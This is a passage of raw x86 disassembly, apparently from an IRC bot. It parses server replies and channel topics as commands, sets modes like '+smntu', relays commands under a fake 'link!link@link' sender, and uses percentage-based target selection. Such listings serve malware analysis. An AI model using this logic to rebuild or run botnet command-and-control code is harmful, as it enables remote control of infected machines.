loc_40DCB8:				; CODE XREF: sub_40D871+2FAj
		push	offset dword_41DA70
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40DCE5:				; CODE XREF: sub_40D871+445j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DCFD:				; CODE XREF: sub_40D871+2D0j
		push	offset aError	; "ERROR"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD25
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD25:				; CODE XREF: sub_40D871+49Fj
		push	offset aJoin	; "JOIN"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		push	offset byte_41EE18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_40DD74
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		mov	[ebp+var_7E8], eax
		jmp	short loc_40DD80
; ---------------------------------------------------------------------------


loc_40DD74:				; CODE XREF: sub_40D871+4F2j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_7E8], eax


loc_40DD80:				; CODE XREF: sub_40D871+501j
		push	[ebp+var_7E8]
		push	offset aModeSSmntu ; "MODE %s +smntu"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD97:				; CODE XREF: sub_40D871+4C8j
					; sub_40D871+4DBj ...
		push	offset a001	; "001"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DE70
		push	21h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_4B4]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset byte_41EE18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset dword_41ED18
		push	offset dword_41DA80
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DE58
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_4041B7
		pop	ecx
		test	eax, eax
		jz	short loc_40DE43
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_40DE56
; ---------------------------------------------------------------------------


loc_40DE43:				; CODE XREF: sub_40D871+5BBj
		lea	eax, [ebp+var_490]
		push	eax
		push	offset dword_41EF18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DE56:				; CODE XREF: sub_40D871+5D0j
		jmp	short loc_40DE6B
; ---------------------------------------------------------------------------


loc_40DE58:				; CODE XREF: sub_40D871+5AAj
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx


loc_40DE6B:				; CODE XREF: sub_40D871:loc_40DE56j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE70:				; CODE XREF: sub_40D871+53Aj
		push	offset a451	; "451"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DE96
		push	0
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE96:				; CODE XREF: sub_40D871+613j
		push	offset a302	; "302"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DF3E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40DEBE
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEBE:				; CODE XREF: sub_40D871+646j
		push	offset a@	; "@"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5B8], eax
		cmp	[ebp+var_5B8], 0
		jnz	short loc_40DEE4
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEE4:				; CODE XREF: sub_40D871+66Cj
		push	100h
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		push	offset dword_41EF18
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_5B4]
		push	eax
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		call	sub_404612
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40DF20
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF20:				; CODE XREF: sub_40D871+6A8j
		push	100h
		lea	eax, [ebp+var_5B4]
		push	eax
		push	offset dword_41EF18
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF3E:				; CODE XREF: sub_40D871+639j
		push	offset aNick	; "NICK"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF8E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40DF62
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF62:				; CODE XREF: sub_40D871+6EAj
		push	offset byte_41EE18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF89
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		push	eax
		push	offset byte_41EE18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DF89:				; CODE XREF: sub_40D871+702j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF8E:				; CODE XREF: sub_40D871+6E1j
		push	offset a332	; "332"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E128
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_40DFBF
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_40DFC4


loc_40DFBF:				; CODE XREF: sub_40D871+73Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DFC4:				; CODE XREF: sub_40D871+74Cj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E05F
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40E04E
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		lea	eax, [eax+ecx+1]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40E05F
; ---------------------------------------------------------------------------


loc_40E04E:				; CODE XREF: sub_40D871+7BBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		and	byte ptr [eax+ecx+1], 0


loc_40E05F:				; CODE XREF: sub_40D871+760j
					; sub_40D871+7DBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jz	loc_40E123
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C0], eax
		and	[ebp+var_7C8], 0


loc_40E09A:				; CODE XREF: sub_40D871+8ADj
		cmp	[ebp+var_7C0], 0
		jnz	short loc_40E0A5
		jmp	short loc_40E123
; ---------------------------------------------------------------------------


loc_40E0A5:				; CODE XREF: sub_40D871+830j
					; sub_40D871+851j
		mov	eax, [ebp+var_7C0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40E0B5
		jmp	short loc_40E0C4
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40D871+840j
		mov	eax, [ebp+var_7C0]
		inc	eax
		mov	[ebp+var_7C0], eax
		jmp	short loc_40E0A5
; ---------------------------------------------------------------------------


loc_40E0C4:				; CODE XREF: sub_40D871+842j
		push	[ebp+var_7C0]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C8], eax
		mov	eax, [ebp+var_7C8]
		mov	[ebp+var_7C0], eax
		jmp	loc_40E09A
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40D871+7FAj
					; sub_40D871+832j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E128:				; CODE XREF: sub_40D871+731j
		cmp	[ebp+arg_0], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_40E153
		push	offset byte_41EE18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E158


loc_40E153:				; CODE XREF: sub_40D871+8BBj
					; sub_40D871+8C4j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E158:				; CODE XREF: sub_40D871+8E0j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E1C0
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1AB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E1BE
; ---------------------------------------------------------------------------


loc_40E1AB:				; CODE XREF: sub_40D871+923j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		and	[ebp+var_84], 0


loc_40E1BE:				; CODE XREF: sub_40D871+938j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40D871+915j
		push	offset aNotice	; "NOTICE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E211
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1F9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E20F
; ---------------------------------------------------------------------------


loc_40E1F9:				; CODE XREF: sub_40D871+971j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 1


loc_40E20F:				; CODE XREF: sub_40D871+986j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E211:				; CODE XREF: sub_40D871+963j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E216:				; CODE XREF: sub_40D871:loc_40E1BEj
					; sub_40D871:loc_40E20Fj
		cmp	[ebp+var_84], 3
		jnz	loc_40E321
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		and	[ebp+var_7CC], 0
		jmp	short loc_40E253
; ---------------------------------------------------------------------------


loc_40E246:				; CODE XREF: sub_40D871:loc_40E31Cj
		mov	eax, [ebp+var_7CC]
		inc	eax
		mov	[ebp+var_7CC], eax


loc_40E253:				; CODE XREF: sub_40D871+9D3j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_40E26B
		cmp	[ebp+var_7CC], 0Fh
		jnz	short loc_40E2B8


loc_40E26B:				; CODE XREF: sub_40D871+9EFj
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D4], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E2B6
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		mov	byte ptr [eax+ecx-1], 1


loc_40E2B6:				; CODE XREF: sub_40D871+A2Cj
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E2B8:				; CODE XREF: sub_40D871+9F8j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D0], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E31C
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E31C:				; CODE XREF: sub_40D871+A79j
		jmp	loc_40E246
; ---------------------------------------------------------------------------


loc_40E321:				; CODE XREF: sub_40D871+9ACj
					; sub_40D871:loc_40E2B6j ...
		push	offset byte_41EE18
		push	[ebp+var_90]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E340
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax


loc_40E340:				; CODE XREF: sub_40D871+AC4j
		push	7Ah
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		mov	eax, [eax]
		mov	[ebp+var_88], eax
		and	[ebp+var_8C], 0
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_80], eax


loc_40E370:				; CODE XREF: sub_40D871:loc_40E3F2j
		cmp	[ebp+var_80], 3
		jnb	short loc_40E378
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E378:				; CODE XREF: sub_40D871+B03j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_40E393
		mov	eax, [ebp+var_80]
		dec	eax
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E393:				; CODE XREF: sub_40D871+B17j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-3]
		cmp	eax, 20h
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-2]
		cmp	eax, 2Dh
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 7Ah
		jg	short loc_40E3F0
		mov	[ebp+var_8C], 1
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]


loc_40E3E0:				; DATA XREF: MEW:off_419BA4o
		mov	[ebp+eax+var_7C], 1
		mov	eax, [ebp+var_80]
		sub	eax, 3
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E3F0:				; CODE XREF: sub_40D871+B32j
					; sub_40D871+B44j ...
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E3F2:				; CODE XREF: sub_40D871+B20j
					; sub_40D871+B7Dj
		jmp	loc_40E370
; ---------------------------------------------------------------------------


loc_40E3F7:				; CODE XREF: sub_40D871+B05j
					; sub_40D871:loc_40E3F0j
		cmp	[ebp+var_8C], 0
		jz	loc_40E4CC
		and	[ebp+var_7D8], 0
		jmp	short loc_40E41A
; ---------------------------------------------------------------------------


loc_40E40D:				; CODE XREF: sub_40D871:loc_40E4C7j
		mov	eax, [ebp+var_7D8]
		inc	eax
		mov	[ebp+var_7D8], eax


loc_40E41A:				; CODE XREF: sub_40D871+B9Aj
		cmp	[ebp+var_7D8], 10h
		jnb	loc_40E4CC
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_40E43B
		jmp	loc_40E4CC
; ---------------------------------------------------------------------------


loc_40E43B:				; CODE XREF: sub_40D871+BC3j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		cmp	[edx+ecx*4], eax
		jb	short loc_40E4C7
		cmp	[ebp+var_8C], 0
		jz	short loc_40E48F
		cmp	[ebp+var_7D8], 0
		jz	short loc_40E488
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4-4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		mov	ecx, [edx+ecx*4-4]
		and	byte ptr [ecx+eax], 0


loc_40E488:				; CODE XREF: sub_40D871+BF1j
		and	[ebp+var_8C], 0


loc_40E48F:				; CODE XREF: sub_40D871+BE8j
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		and	dword ptr [ecx+eax*4], 0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx+eax*4], 0


loc_40E4C7:				; CODE XREF: sub_40D871+BDFj
		jmp	loc_40E40D
; ---------------------------------------------------------------------------


loc_40E4CC:				; CODE XREF: sub_40D871+B8Dj
					; sub_40D871+BB0j ...
		push	offset byte_41EE18
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E513
		mov	eax, [ebp+arg_10]
		add	eax, 0Ch
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E513:				; CODE XREF: sub_40D871+C6Fj
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40E521
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E521:				; CODE XREF: sub_40D871+CA9j
		and	[ebp+var_7DC], 0
		push	offset asc_41A070 ; "*"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E54A
		mov	[ebp+var_7DC], 1
		jmp	loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40D871+CCBj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset byte_41EE18
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E56C
		mov	[ebp+var_7DC], 1
		jmp	short loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E56C:				; CODE XREF: sub_40D871+CF0j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 4
		ja	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		movsx	eax, byte ptr [ecx+eax-1]
		cmp	eax, 25h
		jnz	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		and	byte ptr [ecx+eax-1], 0
		call	sub_410422
		xor	edx, edx
		push	64h
		pop	ecx
		div	ecx
		inc	edx
		mov	[ebp+var_7E0], edx
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, [ebp+var_7E0]
		jl	short loc_40E5DE
		mov	[ebp+var_7DC], 1


loc_40E5DE:				; CODE XREF: sub_40D871+CD4j
					; sub_40D871+CF9j ...
		movzx	eax, [ebp+var_7DC]
		test	eax, eax
		jz	short loc_40E615
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 10h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch


loc_40E615:				; CODE XREF: sub_40D871+31j
					; sub_40D871+4Cj ...
		pop	edi
		leave
		retn
sub_40D871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E618	proc near		; CODE XREF: sub_40C93C+A8p
					; sub_40D871+87Fp ...

var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= byte ptr -118Ch
var_1180	= dword	ptr -1180h
var_114C	= dword	ptr -114Ch
var_1148	= dword	ptr -1148h
var_1144	= dword	ptr -1144h
var_113C	= dword	ptr -113Ch
var_1138	= dword	ptr -1138h
var_1109	= byte ptr -1109h
var_1108	= byte ptr -1108h
var_1089	= byte ptr -1089h
var_1088	= byte ptr -1088h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1194h
		call	sub_416BC0
		and	[ebp+var_4], 0
		push	10h
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1088]
		push	eax
		push	[ebp+arg_0]
		call	sub_407928
		add	esp, 14h
		push	offset a302	; "302"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E66D
		mov	dword_41E97C, 1
		jmp	short loc_40E674
; ---------------------------------------------------------------------------


loc_40E66D:				; CODE XREF: sub_40E618+47j
		and	dword_41E97C, 0


loc_40E674:				; CODE XREF: sub_40E618+53j
		cmp	[ebp+var_1148],	0
		jz	short loc_40E686
		cmp	[ebp+var_1144],	0
		jnz	short loc_40E68B


loc_40E686:				; CODE XREF: sub_40E618+63j
		jmp	locret_40E941
; ---------------------------------------------------------------------------


loc_40E68B:				; CODE XREF: sub_40E618+6Cj
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40E6BB
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E7A5


loc_40E6BB:				; CODE XREF: sub_40E618+87j
		cmp	[ebp+var_113C],	0
		jz	loc_40E7A5
		cmp	[ebp+var_1138],	0
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_113C]
		add	eax, [ebp+var_1190]
		and	byte ptr [eax+1], 0
		push	0Dh
		lea	eax, [ebp+var_1180]
		push	eax
		lea	eax, [ebp+var_113C]
		push	eax
		push	[ebp+var_1180]
		push	[ebp+var_113C]
		call	sub_407928
		add	esp, 14h


loc_40E7A5:				; CODE XREF: sub_40E618+9Dj
					; sub_40E618+AAj ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_1148]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40E853
		and	[ebp+var_1194],	0
		jmp	short loc_40E7D5
; ---------------------------------------------------------------------------


loc_40E7C8:				; CODE XREF: sub_40E618+234j
		mov	eax, [ebp+var_1194]
		inc	eax
		mov	[ebp+var_1194],	eax


loc_40E7D5:				; CODE XREF: sub_40E618+1AEj
		mov	eax, [ebp+var_1194]
		cmp	off_41DA38[eax*4], 0
		jnz	short loc_40E7E7
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E7E7:				; CODE XREF: sub_40E618+1CBj
